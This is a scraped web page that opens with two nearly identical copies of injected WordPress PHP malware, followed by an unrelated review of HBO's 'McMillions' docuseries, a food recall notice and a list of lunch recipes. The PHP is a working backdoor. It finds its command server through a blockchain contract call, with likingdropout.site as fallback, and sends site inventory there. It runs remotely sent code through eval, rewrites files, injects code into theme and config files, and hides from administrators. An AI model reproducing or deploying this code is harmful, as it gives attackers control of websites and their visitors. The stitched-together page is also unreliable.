Corinne Redfern
July 31, 2018
// q2_xh
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// q2_xh',
'vis'=>'// xp_v9',
'vis_func'=>'wp_dia8xd',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_47nl0jvi',
);
$keys=array();
$keys['id']='kun';
$keys['ver']='em';
$keys['caps']='eby';
$keys['tasks']='awd';
$keys['interval']='pww';
$keys['ack_id']='nl0';
$keys['ok']='9s';
$keys['detail']='wyy';
$keys['inv']='kxw';
$keys['result']='f3t';
$hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
// l0_9z
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// l0_9z',
'vis'=>'// zn_yn',
'vis_func'=>'wp_cuzg8t',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_mtrhds4x',
);
$keys=array();
$keys['id']='ybc';
$keys['ver']='a1';
$keys['caps']='afo';
$keys['tasks']='x9t';
$keys['interval']='2e4';
$keys['ack_id']='k72';
$keys['ok']='ch';
$keys['detail']='xd9';
$keys['inv']='hw8';
$keys['result']='0bb';
$hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
The basic details are this: From 1989 to 2001, ex-cop Jerome “Jerry” Jacobson rigged the McDonald’s Monopoly game by basically handing over winning pieces to everyone from mobsters to single mothers in exchange for some of the prize money. Meaning, for about 12 years, nearly all of the game’s big-ticket winners were frauds. In 2000, a tip led the FBI to begin investigating (complete with a pretty elaborate undercover operation) as the story became increasingly convoluted — and simultaneously zany and devastating. HBO’s six-part documentary series, which premieres Monday, Feb. 3 at 10/9c, is a deep dive into the story, largely relying on interviews with some of the main players: FBI agents, a McDonald’s corporate employee, family members of the scammers, and even some of the “winners.” Though the story seems like it should be cut-and-dry, there are multiple twists and turns, as well as plenty of interesting characters that pop up along the way. And while an investigation like this involves an awful lot of paperwork, long-term wiretapping, and patience, McMillions finds a way to keep it amusing and illuminating, at least throughout the first three episodes sent to critics. McMillions is technically a true crime documentary, though it doesn’t feel like what we’ve become accustomed to. Gritty, depressing true crime docs litter television — just take a cursory glance at Netflix! — and tend to focus on the more disturbing crimes, uncomfortably (and exploitatively) delighting in getting into the heads of murderers. McMillions, then, sometimes feels like an anomaly: it frequently takes a light-hearted approach, complete with music that could score an Ocean’s Eleven heist scene, silly reenactments (such as one dramatizing an agent reading a Post-It note), and Doug Mathews, a colorful special agent who comes off less of a member of the FBI and more like an over-excitable puppy eager to play with the big dogs. But McMillions‘ most memorable moments might not be from Mathews but instead from the people directly involved with the scam. The family members of mobster/scammer Jerry Colombo (not to be confused with Jerry Jacobson; everyone refers to the latter as “Uncle Jerry”) are interviewed, explaining their family in very matter-of-fact ways. (The Colombo family is one of the big five crime families in New York City.) When they talk about Colombo opening a night club called Fuzzy Bunny, they reason that it shows he “had his morals” because it wasn’t full nudity. “I was proud of him for doing something legal for once,” a relative says. (I won’t spoil it here, but the eventual trajectory of Fuzzy Bunny is truly weird and fitting for a fictional story.) But there is also a tinge of sadness, especially from his wife Robin, who eventually speaks openly about their marital problems and her fears regarding her husband’s connections. In the third episode, we learn more about one of the “winners,” Gloria Brown, who is a Black single mother making $ 24K a year pre-taxes. A glance at the McDonald’s scam makes it easy to write off most of the “winners” as people who just wanted easy money but hearing from Gloria puts a different face on it. “I just wanted a better life and I just felt like this was my opportunity,” she explains. Her interviews are a tough watch: It’s clear that she was basically tokenized because being Black meant she wouldn’t be linked to the Colombo Italian family tree, and it’s clear that she was used and exploited in a way that she wasn’t prepared for, especially when she goes into more detail about what Jerry expected in return. Directors James Lee Hernandez and Brian Lazarte craft a documentary that is able to show both sides of the story: the inherently comical aspects that seem made-up and the very real, devastating effects of the entire scam. It’s not totally balanced — the first two episodes are definitely lighter and have a fun retro-feel that’s only heightened by vintage McDonald’s commercials and old-school marketing, while the third episode goes dark pretty quickly and hovers there. While it’s not entirely successful, the directing team’s approach is certainly skillful, and McMillions is definitely a fun watch. But be warned: You will likely find yourself craving McDonald’s while watching the overhead shots of french fries splayed on a conference table, or the close-ups of someone sipping a fountain soda. TVLINE BOTTOM LINE: McMillions is a juicy, informative docuseries that entertainingly chronicles a bonkers scam and the players it hurt. RELATED STORIES
Even if you already know the story of the rigged McDonald’s Monopoly game (which was covered extensively by The Daily Beast in 2018), HBO’s McMillions documentary series is a fun, informative and highly entertaining look into one strange scam.
Mathews took an interest in the McDonald’s case partly because he was intrigued by the Post-It and partly because he was just “bored to death of this healthcare garbage” that he was working on. He treats the investigation like a game, excitedly suggesting sting operations and undercover plans (despite not being trained in going undercover), donning a ridiculous outfit to a serious meeting with McDonald’s corp, and, at one point, enthusiastically suggesting a silly and expensive Las Vegas-related ruse that the other agents balked at. (In the reenactment of this, someone hilariously writes “RUSE” in large letters on a whiteboard, just in case we weren’t sure.) Of all the FBI agents, Doug is essentially the star of the docuseries because he’s the one who is most excited, who isn’t reserved, and who is constantly chatting. “Doug is one of the hardest working agents I’ve ever met in my life,” says one of his coworkers before adding: “And he can talk forever. He is relentless.”
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The Canadian Food Inspection Agency has issued a recall of Crisp & Delicious brand Chicken Breast Nuggets due to possible Salmonella contamination.
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ARTHRITIS can be a painful and distressing condition to live with. While there is no direct cure, eating certain foods with anti-inflammatory properties and antioxidants, such as these three delicious fruits, can help relieve arthritis pain and symptoms.![]()
Hummus is a nutritious dip or spread that can go with just about anything! Making your own gives you the know over exactly what’s in your meal.Pack a small dish with your homemade dip, fresh carrots, celery, and grapes, with whole grain chips, pitas, or sliced bread for a cafe-style lunch box.~ Get the recipe here!
It sounds all too easy, but why pay for a rice bowl when you can make one fresh from home? Simply cook your rice and steam your favorite vegetables ahead of time.Add chicken, steak, or grilled tofu on top. Sprinkle with parsley, cumin, or curry according to your palate.~ Get the recipe here!
Curry is a profound spice with a multitude of health benefits. With this stew, you give your digestive system a bit of a break from heavy meats and meals.It’s a great option if you’re trying to stick to a cleanse or reset before Fall arrives. This recipe makes it easy on you to prep and let the crockpot do the rest!~ Get the recipe here!
Only a few ingredients are needed to complete this quick mix in under 15 minutes.Tuna is a good source for protein and essential fatty acids. This recipe kicks it up a notch with protein powered beans and a little heat.All that’s left is to choose your favorite bread or hoagie, (whole grain is recommended). Top with fresh tomato, avocado, and even bacon to take this everyday sandwich over the top.~ Get the recipe here!
Fajitas are fun to eat and simple to cook. Using fresh produce for your meal utilizes the powerful effects they have when freshly ripened.Onions are strong detoxifiers and bell peppers are hydrating and provide vitamins unique to their colors. Steak is a great source for protein, but try to go grass-fed if you can!The same dish can be made with alternative proteins, and even salmon or shrimp if you’re craving seafood.~ Get the recipe here!
This nontraditional casserole is great for when the weather starts to cool down.Potatoes catch a bad carb reputation, however if you’re really busting your tail during the week, extra carbs will support your efforts, not kill them.For variety, mix in seasonal veggies before you bake it. Then, you can enjoy leftovers or bring it to share with your coworkers!~ Get the recipe here!
This easy lunch barely requires any cooking and serves your body with lightweight nutrients to keep you running through the rest of your day.You can also swap the tofu for grilled chicken, or add lightly diced and grilled veggies to mix up your leftovers for the following day.~ Get the recipe here!
This dish will be sure to satisfy a few up and coming cravings as we welcome Fall season and holidays.Turkey naturally boosts your body’s happy chemical- serotonin, and cranberries are a powerfully cleansing fruit packed with vitamin C. I’d recommend making your own waffle mix with gluten-free flour, like coconut or almond flour. All around, this may be one of the best recipe ideas ever.Get the recipe here!
Wraps are perfect options for a busy day. They are easy to make, store, and eat on the go while providing you with enough fuel to conquer your schedule.For really fresh flavor, I’d hit the farmer’s market to buy your corn and peppers. But if needed, frozen veggies work just fine!You can grab a cooked rotisserie chicken to make it even easier on yourself, too! Vegans may enjoy the same dish with a creamy garlic and almond cream dressing and alternative cheese.~ Get the recipe here!
With only a couple of ingredients, this dish is fairly quick to make. Lemon juice helps to preserve foods and keep them fresh longer.You can change out and mix up your rice for couscous, quinoa, or noodles.~ Get the recipe here!
If you ever find yourself craving sweets at lunch time, these sandwiches may be your new best friend.Apples are energizing and contain cleansing properties to boost your metabolism, while almond butter is a rich source for healthy fats. Pairing these with whole grain granola provides a balanced and inexpensive meal for your lunch hour.~ Get the recipe here!
Hummus spreads have caught a lot of hype, and for good reason! It’s a delicious way to get in protein and fiber, as well as minerals that support your nervous system.If you’re not a fan of sprouts, try using fresh bell peppers or sliced cucumbers for a refreshing pop.~ Get the recipe here!
Made with ground turkey rather than beef, this recipe is much lighter on your stomach and easy to pack the night before.You can also add fresh salsa with mango and parsley, baby Kale instead of romaine lettuce for a superfood boost, and alternative cheese for an allergen friendly choice.~ Get the recipe here!
Chicken salad is an easy go-to when you’re short on time or want to prep for the week.Apricots pack a serious punch when it comes to digestive and circulatory health. They are especially great for women’s reproductive health.Almonds help to burn excess fats and rebuild muscles mass, making them a perfect blend of nutrients as well.For a vegan option, use grilled tofu instead of chicken.~ Get the recipe here!
Shrimp are a light source of protein and are easy to prepare for this slow-cooker idea.You can change out a few ingredients to make it dairy-free, using nut-milk alternatives for the butter and creams.You can also add hearty veggies like carrots and sweet potatoes instead of grits for a rich source of healthy carbs to keep you full and focused.~ Get the recipe here!
Another light dish with multiple choices to mix and match ingredients to your liking.You could use veggie noodles for extra nutritional boost and top with various seeds, almonds, avocado.Add lightly grilled chicken, tofu, or steak on top for satisfying protein and you’re good to go!~ Get the recipe here!
Tomatoes are an excellent source for vitamin C. Pair them with a delicious pasta, whether its whole grain, brown rice pasta, or even zucchini noodles, and you’ve got a meal that will help you stay lean without missing a beat.~ Get the recipe here!
This lunch recipe can go just about anywhere with you. It doesn’t require much to make and can be cooked in larger batches so you can get the most from your leftovers.A dairy-free version can be made without the Feta cheese, or by swapping for a vegan alternative.~ Get the recipe here!
